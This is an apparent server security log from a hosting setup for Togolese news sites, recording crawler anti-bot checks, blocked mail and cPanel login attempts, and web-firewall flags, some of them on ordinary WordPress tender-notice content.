47.128.96.183 - - [09/Jun/2026:21:23:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251203&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040229 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.65.229.188
country_id: 2542007
description:
Jun  9 21:24:43 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.65.229.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.97
country_id: 3469034
description:
Jun  9 21:24:51 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.65.229.188
country_id: 2542007
description:
2026-06-09 21:24:45 dovecot_plain authenticator failed for H=(27k6c09g72vw11abtquz2w2do9na3bv) [196.65.229.188]:41619: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [09/Jun/2026:21:25:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134019&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbande-darnaqueurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040336 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bande-darnaqueurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.22.154.98
country_id: 3865483
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/kanalfm HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.22.154.98
country_id: 3865483
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/kanalfm HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [09/Jun/2026:21:28:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724763&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbande-darnaqueurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040512 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bande-darnaqueurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.188
country_id: 1880251
description:
47.128.96.188 - - [09/Jun/2026:21:29:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7315050&pdata=https%253A%252F%252Fcfpj.tg%252Fpresentation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040541 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/presentation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.188


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [09/Jun/2026:21:30:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592102&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-liste-fournitures-scolaires-2025-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040618 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-liste-fournitures-scolaires-2025-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p>dans le cadre du projet \xc3\x89galit\xc3\xa9 des genres par l\xe2\x80\x99agro\xc3\xa9cologie men\xc3\xa9e par les femmes en afrique de l\xe2\x80\x99ouest (egale-ao), inades-formation togo lance un appel d\xe2\x80\x99offres pour la fourniture de mat\xc3\xa9riels et \xc3\xa9quipements agricoles r\xc3\xa9partis en trois lots :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>\xe2\x80\xa2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lot 1 : fourniture de 03 composti\xc3\xa8res pour mara\xc3\xaechages \xc3\xa9cologiques ;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>\xe2\x80\xa2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lot 2 : fourniture de mat\xc3\xa9riels et \xc3\xa9quipements de transformation des produits agricoles ;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>\xe2\x80\xa2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lot 3 : fourniture de 04 tricycles apsonic ap175 zh.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les entreprises l\xc3\xa9galement constitu\xc3\xa9es et disposant des capacit\xc3\xa9s requises sont invit\xc3\xa9es \xc3\xa0 soumissionner. les dossiers d\xe2\x80\x99appel d\xe2\x80\x99offres peuvent \xc3\xaatre obtenus gratuitement par demande adress\xc3\xa9e \xc3\xa0 : <strong>procurement.togo@inadesfo.net</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les offres doivent \xc3\xaatre d\xc3\xa9pos\xc3\xa9es au si\xc3\xa8ge d\xe2\x80\x99inades-formation togo \xc3\xa0 lom\xc3\xa9 au plus tard le <strong>18 juin 2026 \xc3\xa0 15h00</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":23962,\"href\":\"https://tdn.tg/wp-content/uploads/2026/06/avis-egaleao.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://tdn.tg/wp-content/uploads/2026/06/avis-egaleao.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"avis egaleao\"></object><a id=\"wp-block-file--media-ca8e2790-4943-416d-a6b5-88c69d0d8183\" href=\"https://tdn.tg/wp-content/uploads/2026/06/avis-egaleao.pdf\">avis egaleao</a><a href=\"https://tdn.tg/wp-content/uploads/2026/06/avis-egaleao.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-ca8e2790-4943-416d-a6b5-88c69d0d8183\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [09/Jun/2026:21:30:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869417&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fronald-koeman%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040637 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ronald-koeman/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [09/Jun/2026:21:33:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128682&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040782 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  9 21:33:08 ns5 auth[44136]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-09 21:33:10 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:63348: 535 Incorrect authentication data (set_id=db2user)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [09/Jun/2026:21:33:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063452&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmoyen-orient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040824 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/moyen-orient/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [09/Jun/2026:21:34:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6800277&pdata=http%253A%252F%252Fafriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040839 HTTP/1.1" 302 0 afriquerevelation.tg "http://afriquerevelation.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [09/Jun/2026:21:34:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9805675&pdata=https%253A%252F%252Fafriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040850 HTTP/2.0" 302 0 afriquerevelation.tg "https://afriquerevelation.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [09/Jun/2026:21:35:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6450324&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprof-ayewouadan-akodah%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040905 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prof-ayewouadan-akodah/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.150.102
country_id: 99237
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/office365 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.125.19.31
country_id: 1643084
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=612 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:21:34:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131142&pdata=http%253A%252F%252Fnq42gl.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040881 HTTP/1.1" 302 0 nq42gl.mediatopnews.tg "http://nq42gl.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [09/Jun/2026:21:34:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853739&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmoyen-orient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040893 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/moyen-orient/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [09/Jun/2026:21:35:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7260311&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-candidatures-bourses-chevening-angleterre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040913 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-candidatures-bourses-chevening-angleterre/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [09/Jun/2026:21:34:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581398&pdata=http%253A%252F%252Fnq42gl.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040875 HTTP/1.1" 302 0 nq42gl.mediatopnews.tg "http://nq42gl.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.8.131.125
country_id: 1643084
description:
182.8.131.125 - - [09/Jun/2026:21:36:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868392&pdata=https%253A%252F%252F24heureinfo.tg%252Fdeveloppement%252Ffaitiere-des-communes-du-togo-ce-quil-faut-retenir-de-la-presidence-de-yawa-kouigan%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040965 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/developpement/faitiere-des-communes-du-togo-ce-quil-faut-retenir-de-la-presidence-de-yawa-kouigan/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.6152.1852 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.8.131.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [09/Jun/2026:21:36:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972006&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-manne-royale-restaurant-ecologique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040974 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-manne-royale-restaurant-ecologique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [09/Jun/2026:21:36:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077034&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprof-ayewouadan-akodah%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040993 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prof-ayewouadan-akodah/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [09/Jun/2026:21:36:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199768&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fethiopian-airlines%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040999 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ethiopian-airlines/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [09/Jun/2026:21:37:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133412&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-candidatures-bourses-chevening-angleterre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041036 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-candidatures-bourses-chevening-angleterre/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 21:37:32 +0000] info [cpaneld] 103.65.237.227 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:21:37:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131093&pdata=http%253A%252F%252Fzismaz.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041071 HTTP/1.1" 302 0 zismaz.mediatopnews.tg "http://zismaz.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.179
country_id: 1880251
description:
47.128.96.179 - - [09/Jun/2026:21:38:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6384537&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-manne-royale-restaurant-ecologique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041079 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-manne-royale-restaurant-ecologique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.179


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p>dans le cadre de la mise en \xc5\x93uvre du projet redynamisation des valeurs endog\xc3\xa8nes et des innovations sur le climat et la souverainet\xc3\xa9 alimentaire (reveil), inades-formation togo lance un appel d\xe2\x80\x99offres pour la fourniture d\xe2\x80\x99un moto-tricycle destin\xc3\xa9 aux activit\xc3\xa9s du projet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les entreprises l\xc3\xa9galement constitu\xc3\xa9es et disposant des capacit\xc3\xa9s techniques et financi\xc3\xa8res requises sont invit\xc3\xa9es \xc3\xa0 soumissionner. les dossiers d\xe2\x80\x99appel d\xe2\x80\x99offres peuvent \xc3\xaatre obtenus gratuitement par demande adress\xc3\xa9e \xc3\xa0 : procurement.togo@inadesfo.net.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les offres doivent \xc3\xaatre d\xc3\xa9pos\xc3\xa9es au si\xc3\xa8ge d\xe2\x80\x99inades-formation togo \xc3\xa0 lom\xc3\xa9 au plus tard le <strong>18 juin 2026 \xc3\xa0 15h00</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":23967,\"href\":\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"avis reveil\"></object><a id=\"wp-block-file--media-a5dfbaa3-9fdb-4a73-a3d8-6d95a1b698a9\" href=\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\">avis reveil</a><a href=\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a5dfbaa3-9fdb-4a73-a3d8-6d95a1b698a9\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:21:39:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921924&pdata=http%253A%252F%252Fxhhehr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041157 HTTP/1.1" 404 561 xhhehr.mediatopnews.tg "http://xhhehr.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p>dans le cadre de la mise en \xc5\x93uvre du projet redynamisation des valeurs endog\xc3\xa8nes et des innovations sur le climat et la souverainet\xc3\xa9 alimentaire (reveil), inades-formation togo lance un appel d\xe2\x80\x99offres pour la fourniture d\xe2\x80\x99un moto-tricycle destin\xc3\xa9 aux activit\xc3\xa9s du projet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les entreprises l\xc3\xa9galement constitu\xc3\xa9es et disposant des capacit\xc3\xa9s techniques et financi\xc3\xa8res requises sont invit\xc3\xa9es \xc3\xa0 soumissionner. les dossiers d\xe2\x80\x99appel d\xe2\x80\x99offres peuvent \xc3\xaatre obtenus gratuitement par demande adress\xc3\xa9e \xc3\xa0 : <strong>procurement.togo@inadesfo.net</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les offres doivent \xc3\xaatre d\xc3\xa9pos\xc3\xa9es au si\xc3\xa8ge d\xe2\x80\x99inades-formation togo \xc3\xa0 lom\xc3\xa9 au plus tard le <strong>18 juin 2026 \xc3\xa0 15h00</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":23967,\"href\":\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"avis reveil\"></object><a id=\"wp-block-file--media-a5dfbaa3-9fdb-4a73-a3d8-6d95a1b698a9\" href=\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\">avis reveil</a><a href=\"https://tdn.tg/wp-content/uploads/2026/06/avis-reveil.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a5dfbaa3-9fdb-4a73-a3d8-6d95a1b698a9\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [09/Jun/2026:21:39:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065558&pdata=https%253A%252F%252Ftdn.tg%252Fcategory%252Factualites%252Fpage%252F51%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041160 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/category/actualites/page/51/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.67.212.5
country_id: 2287781
description:
Jun  9 21:40:26 ns5 auth[44136]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.67.212.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.67.212.5
country_id: 2287781
description:
2026-06-09 21:40:28 dovecot_login authenticator failed for H=(q4Cz7rZ6) [102.67.212.5]:43118: 535 Incorrect authentication data (set_id=andre.k@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
